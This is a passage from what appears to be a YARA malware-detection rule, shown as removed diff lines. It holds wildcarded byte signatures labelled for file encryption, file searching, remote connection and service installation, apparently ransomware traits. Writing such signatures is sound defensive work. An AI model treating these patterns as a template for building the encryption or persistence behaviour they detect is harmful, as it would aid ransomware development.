-            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
-            C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF
-            D0 83 EC ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 89
-            44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 0F 95 C0 84 C0 0F 84
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 89 45 ?? 89 55 ?? 8B 45 ?? 8B 55 ?? 89 45 ?? 89 55 ??
-            8B 85 ?? ?? ?? ?? 80 F4 ?? 89 C3 8B 85 ?? ?? ?? ?? 80 F4 ?? 89 C6 89 F0 09 D8 85 C0
-            74 ?? 8B 45 ?? 8B 55 ?? 3B 95 ?? ?? ?? ?? 72 ?? 3B 95 ?? ?? ?? ?? 77 ?? 3B 85 ?? ??
-            ?? ?? 76 ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 45 ?? 89 55 ?? 8B 45 ?? 8B 40 ??
-            89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 8B 55 ?? 89 44 24 ?? C7 44 24 ??
-            ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 50 ?? 89 D0 C1 E0 ?? 01 D0 01 C0 89
-            45 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89
-            44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ??
-            FF D0 83 EC ?? 85 C0 0F 94 C0 84 C0 74 ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45
-            ?? 8B 40 ?? BA ?? ?? ?? ?? 8B 4D ?? 8B 5D ?? 39 DA 72 ?? 39 DA 77 ?? 39 C8 76 ?? 89
-            C8 89 DA 89 45 ?? 8B 4D ?? 8B 55 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 89
-            4C 24 ?? 89 54 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 83 F8 ?? 0F 94
-            C0 84 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B 45 ?? 89 4C 24 ?? 89 54 24 ?? 89 04
-            24 E8 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 C1 BB ?? ?? ?? ?? 8B 45 ?? 8B 55 ??
-            89 CE 31 C6 89 B5 ?? ?? ?? ?? 89 DE 31 D6 89 B5 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B B5
-            ?? ?? ?? ?? 89 D8 09 F0 85 C0 0F 94 C0 88 45 ?? 8B 55 ?? 0F B6 4D ?? 8B 5D ?? 8B 45
-            ?? 89 44 24 ?? 8D 45 ?? 89 44 24 ?? 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ??
-            C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? A1 ?? ?? ??
-            ?? FF D0 89 45 ?? 8B 45 ?? 85 C0 79 ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 4D ??
-            8B 55 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 8B 45
-            ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 0F 94 C0 84 C0 74 ?? C7 45 ?? ?? ??
-            ?? ?? 90 EB ?? 8B 4D ?? 8B 5D ?? 8B 45 ?? BA ?? ?? ?? ?? 29 C1 19 D3 89 C8 89 DA 89
-            45 ?? 89 55 ?? 8B 45 ?? BA ?? ?? ?? ?? 01 45 ?? 11 55 ?? 8B 45 ?? 8B 55 ?? 89 C6 83
-            F6 ?? 89 B5 ?? ?? ?? ?? 89 D0 80 F4 ?? 89 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B B5 ??
-            ?? ?? ?? 89 F0 09 D8 85 C0 74 ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? 80 F4 ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 80 F4 ?? 89 85 ?? ?? ?? ?? 8B 9D ??
-            ?? ?? ?? 8B B5 ?? ?? ?? ?? 89 F0 09 D8 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 2B
-            45 ?? 1B 55 ?? 89 45 ?? 89 55 ?? 8B 45 ?? 8B 40 ?? 89 C1 BB ?? ?? ?? ?? 8B 45 ?? 8B
-            55 ?? 39 D3 72 ?? 39 D3 77 ?? 39 C1 76 ?? 89 C1 89 D3 89 4D ?? 8B 45 ?? C7 44 24 ??
-            ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8B 55 ?? 89 54 24 ?? 89 44 24 ?? 8B 45 ?? 89 04 24
-            A1 ?? ?? ?? ?? FF D0 83 EC ?? 83 F8 ?? 0F 94 C0 84 C0 0F 84 ?? ?? ?? ?? 8B 55 ?? 8B
-            45 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 4D ?? 89 4C 24 ?? 89 54 24 ?? 89 44 24 ?? 8B 45 ??
-            89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 0F 94 C0 84 C0 74 ?? C7 45 ?? ?? ?? ??
-            ?? EB ?? 8B 45 ?? 8B 55 ?? 8B 4D ?? BB ?? ?? ?? ?? 29 C8 19 DA 89 45 ?? 89 55 ?? 8B
-            45 ?? 8B 55 ?? 89 C3 80 F7 ?? 89 9D ?? ?? ?? ?? 89 D0 80 F4 ?? 89 85 ?? ?? ?? ?? 8B
-            9D ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 89 F0 09 D8 85 C0 74 ?? E9 ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? 8B 45 ?? 85 C0 74 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 74 ??
-            8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B
-            45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 89 04 24 E8
-            ?? ?? ?? ?? EB ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ??
-            FF D0 83 EC ?? 8B 45 ?? 8D 65 ?? 5B 5E 5D C2
-        }
-		$search_files = {
-            E8 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 95 C0 88 45 ?? 80 7D ?? ?? 74 ?? C7 44 24 ?? ?? ??
-            ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ??
-            83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? 83 45 ?? ?? EB ?? A1 ??
-            ?? ?? ?? FF D0 89 C3 C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7
-            04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? 89 1C 24 89 C1 E8 ?? ?? ?? ?? 83 EC
-            ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8
-            ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? 8B 45 ?? 89
-            C1 E8 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 89 D9 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
-            89 1C 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8
-            ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 89 C1
-            E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? EB ?? 90 8D 85
-            ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 0F 95
-            C0 84 C0 74 ?? E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 ?? ??
-            ?? ?? A1 ?? ?? ?? ?? FF D0 89 C3 C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? 89 1C 24 89 C1 E8 ?? ??
-            ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? ?? ??
-            ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? C7
-            04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45
-            ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 83 7D ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 05 ??
-            ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 85 C0 74 ?? B8 ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 84 C0
-            74 ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 89 C2 8B 85 ?? ?? ?? ?? 89 14 24 89 C1
-            E8 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            89 C2 8B 45 ?? 89 04 24 89 D1 E8 ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8
-            ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? C7 44 24 ??
-            ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8
-        }
-		$search_files_2 = {
-            FF 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? 89 C3 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7
-            04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 50 ?? 81 C2 ?? ?? ?? ?? 8B 42 ??
-            83 E0 ?? 83 C8 ?? 89 42 ?? 89 1C 24 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 89 C3 8B
-            00 89 DA 03 50 ?? 8B 42 ?? 83 E0 ?? 83 C8 ?? 89 42 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 1C 24 E8 ?? ??
-            ?? ?? 89 C1 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 FF 15 ?? ?? ??
-            ?? 83 EC ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 83 BB ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ??
-            89 04 24 89 D9 E8 ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24
-            ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89
-            04 24 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 89 04 24 E8 ?? ?? ?? ?? 89 C1 E8 ?? ??
-            ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04
-            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 B9 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 EC ?? 89 04 24 E8 ?? ?? ?? ?? 89 C1 E8
-        }
-		$remote_connection = {
-            55 89 E5 53 81 EC ?? ?? ?? ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 44 24 ?? C7
-            04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F0 ?? 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8
-            ?? ?? ?? ?? 8B 45 ?? 8B 00 89 45 ?? 8D 45 ?? 89 44 24 ?? 8D 45 ?? 89 44 24 ?? 8D 45
-            ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ??
-            8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 89 45 ?? 83 7D ?? ?? 74 ?? 81 7D ?? ?? ??
-            ?? ?? 75 ?? 8B 45 ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 39 45 ?? 77 ?? 8D 45 ??
-            89 C1 E8 ?? ?? ?? ?? 8B 45 ?? 8B 10 8D 45 ?? 8D 4D ?? 89 4C 24 ?? 89 14 24 89 C1 E8
-            ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8D 50 ?? 8D 45 ?? 89 04 24 89 D1 E8 ?? ?? ?? ?? 83 EC
-            ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 83 45 ?? ?? 83 45 ??
-            ?? EB ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 81 7D ?? ?? ?? ?? ?? 75 ?? E9 ??
-            ?? ?? ?? 8D 45 ?? 83 C0 ?? 89 C1 E8 ?? ?? ?? ?? 85 C0 0F 95 C0 84 C0 74 ?? 8B 45 ??
-            05 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 50 ?? 8D 45 ?? 89 04 24 89 D1 E8
-            ?? ?? ?? ?? 83 EC ?? 8B 45 ?? 05 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 90 8D 45 ?? 89
-            C1 E8 ?? ?? ?? ?? EB ?? 89 C3 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? EB ?? 89 C3 8D 45 ?? 89
-            C1 E8 ?? ?? ?? ?? EB ?? 89 C3 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 89 D8 89 04 24 E8 ?? ??
-            ?? ?? 90 8B 5D ?? C9 C2
-        }
-		$remote_connection_2 = {
-            55 89 E5 57 56 53 83 EC ?? 89 4D ?? 8B 5D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 45 ?? 89 44 24 ?? C7 04 24 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? 8B 03 89 45 ?? EB ?? 83 EC ?? 89 45 ?? 85 C0 74 ?? 3D ?? ??
-            ?? ?? 74 ?? 81 7D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 8D 45 ?? 89
-            44 24 ?? 8D 45 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? C7 44 24
-            ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 89 45 ?? 83 7D ?? ??
-            74 ?? BE ?? ?? ?? ?? 8D 7D ?? EB ?? 83 EC ?? 8D 45 ?? 89 04 24 8D 4D ?? E8 ?? ?? ??
-            ?? 83 EC ?? 8B 45 ?? 39 F8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 83 C6 ?? 39 75 ?? 72 ?? 8B
-            45 ?? 8B 5C B0 ?? 89 7D ?? B8 ?? ?? ?? ?? 85 DB 74 ?? 89 1C 24 E8 ?? ?? ?? ?? 8D 04
-            43 C6 44 24 ?? ?? 89 44 24 ?? 89 1C 24 8D 4D ?? E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 89 04
-            24 E8 ?? ?? ?? ?? 83 EC ?? E9 ?? ?? ?? ?? 8B 45 ?? 2B 45 ?? C1 F8 ?? 69 C0 ?? ?? ??
-            ?? 85 C0 74 ?? 8B 7D ?? 8D 9F ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 47 ?? 3B 47 ??
-            74 ?? 85 C0 74 ?? 8B 55 ?? 89 10 8D 48 ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ??
-            8B 45 ?? 83 40 ?? ?? 89 1C 24 E8 ?? ?? ?? ?? EB ?? 8B 4D ?? 83 C1 ?? 8D 45 ?? 89 04
-            24 E8 ?? ?? ?? ?? 83 EC ?? EB ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C2
-        }
-		$encrypt_files_3 = {
-            55 57 56 53 83 EC ?? 8B 41 ?? 85 C0 75 ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ??
-            ?? BE ?? ?? ?? ?? 89 F0 83 C4 ?? 5B 5E 5F 5D C2 ?? ?? 89 CB C7 44 24 ?? ?? ?? ?? ??
-            8D 54 24 ?? 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 FF
-            15 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
-            C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ??
-            ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C7 BE ?? ??
-            ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7
-            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ??
-            ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C2 89 44 24 ??
-            83 F8 ?? 74 ?? 8D 44 24 ?? 89 44 24 ?? 89 14 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C6 85
-            C0 75 ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 3C 24 FF 15 ?? ?? ?? ??
-            83 EC ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 85 F6 0F 84 ?? ?? ?? ?? 8B
-            84 24 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7
-            44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 8B 54 24 ?? 89 44 24 ?? 89 54 24 ?? 8B 43 ?? 89 04
-            24 E8 ?? ?? ?? ?? 89 44 24 ?? 8B 73 ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24
-            E8 ?? ?? ?? ?? 8D 04 B6 01 C0 89 44 24 ?? 89 04 24 E8 ?? ?? ?? ?? 89 C5 C7 44 24 ??
-            ?? ?? ?? ?? 8D 44 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89
-            44 24 ?? 89 3C 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24
-            ?? 8B 54 24 ?? 8B 0D ?? ?? ?? ?? 89 4C 24 ?? 89 7C 24 ?? 89 C6 89 D7 89 5C 24 ?? E9
-            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 89 44 24 ?? 89 5C 24 ?? 8B 44 24 ??
-            89 44 24 ?? 8B 4C 24 ?? 89 0C 24 FF 54 24 ?? 83 EC ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 89
-            5C 24 ?? 8B 44 24 ?? 89 44 24 ?? 89 2C 24 E8 ?? ?? ?? ?? 89 5C 24 ?? 89 5C 24 ?? C7
-            44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8D 44 24 ?? 89 44 24 ?? 89 6C 24 ?? C7
-            44 24 ?? ?? ?? ?? ?? 89 DA 31 F2 09 FA 0F 94 C0 0F B6 C0 89 44 24 ?? C7 44 24 ?? ??
-            ?? ?? ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C3 FF 15 ?? ?? ?? ?? 85
-            C0 78 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? 89
-            6C 24 ?? 8B 4C 24 ?? 89 0C 24 FF 15 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? 2B 74 24 ?? 1B
-            7C 24 ?? 89 FA 09 F2 74 ?? 8B 44 24 ?? 8B 58 ?? B8 ?? ?? ?? ?? 39 F8 0F 82 ?? ?? ??
-            ?? 39 F3 0F 47 DE E9 ?? ?? ?? ?? 8B 7C 24 ?? 89 DE EB ?? 8B 7C 24 ?? BE ?? ?? ?? ??
-            85 ED 74 ?? 89 2C 24 E8 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 0F 84 ?? ?? ?? ?? 89 04 24 E8
-            ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 7C 24 ?? BE ?? ?? ?? ?? EB
-        }
-		$encrypt_files_4 = {
-            FF 15 ?? ?? ?? ?? 83 EC ?? 89 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ??
-            ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89
-            34 24 89 54 24 ?? 89 44 24 ?? 89 4C 24 ?? FF 95 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 84 ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? 29 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 19 95 ?? ?? ?? ?? 8B
-            8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 D0 89 CA 09 C2 0F 84 ?? ?? ?? ?? 31 D2 3B 95 ??
-            ?? ?? ?? 8B 43 ?? 89 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 72 ?? 77 ?? 8B 8D ?? ?? ?? ??
-            39 C8 76 ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ??
-            89 85 ?? ?? ?? ?? 89 44 24 ?? 8D 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 89 54 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ??
-            83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? 89 04 24 E8 ?? ?? ?? ?? 89 34 24 8B 35 ?? ?? ?? ?? FF D6 8B 85 ?? ?? ?? ?? 83 EC
-            ?? 89 04 24 FF D6 8B 85 ?? ?? ?? ?? 83 EC ?? 89 04 24 FF 15 ?? ?? ?? ?? 8B 8D ?? ??
-            ?? ?? 83 EC ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7
-            04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? C7 04 24 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 40 ?? 8B 88 ?? ?? ?? ?? 85 C9 74 ?? 8B 01 C7
-            04 24 ?? ?? ?? ?? FF 50 ?? 83 EC ?? 0F B7 C0 B9 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ??
-            83 EC ?? 89 C1 E8 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            89 04 24 FF 15
-        }
-		$search_files_3 = {
-            FF 15 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 75 ?? 8B 85
-            ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 FF D7 83
-            EC ?? 85 C0 0F 84 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? EB ?? 90 8D B4 26 ?? ?? ?? ?? 8B
-            85 ?? ?? ?? ?? 83 C3 ?? 8B 50 ?? 8B 40 ?? 89 85 ?? ?? ?? ?? 29 D0 C1 F8 ?? 69 C0 ??
-            ?? ?? ?? 39 C3 0F 83 ?? ?? ?? ?? 8D 04 5B 8D 34 C5 ?? ?? ?? ?? 8B 04 C2 89 44 24 ??
-            8B 85 ?? ?? ?? ?? 89 04 24 FF D7 83 EC ?? 85 C0 74 ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? 8B
-            1C 30 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? C7 04
-            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 5C
-            24 ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 40 ?? 8B 88
-            ?? ?? ?? ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 01 C7 04 24 ?? ?? ?? ?? FF 50 ?? 83 EC ?? 0F
-            B7 C0 B9 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 89 C1 E8 ?? ?? ?? ?? 31 F6 E9
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8
-            ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 5C 24
-            ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? E9 ?? ?? ?? ?? 90 8D 74 26 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24
-            E8
-        }
-		$install_service = {
-            FF 15 ?? ?? ?? ?? 83 EC ?? 85 C0 89 C1 89 44 24 ?? 0F 84 ?? ?? ?? ?? 8B 84 24 ?? ??
-            ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 0C 24 89 44 24 ?? FF 15 ?? ?? ?? ?? 83 EC ?? 85 C0
-            89 C3 0F 84 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? 8D 6C 24 ?? 8D 7C 24 ?? C7 44 24 ??
-            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 6C 24 ?? 89 7C 24 ?? 89 44 24 ?? FF D0 83 EC
-            ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 83 E0 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? A1 ?? ??
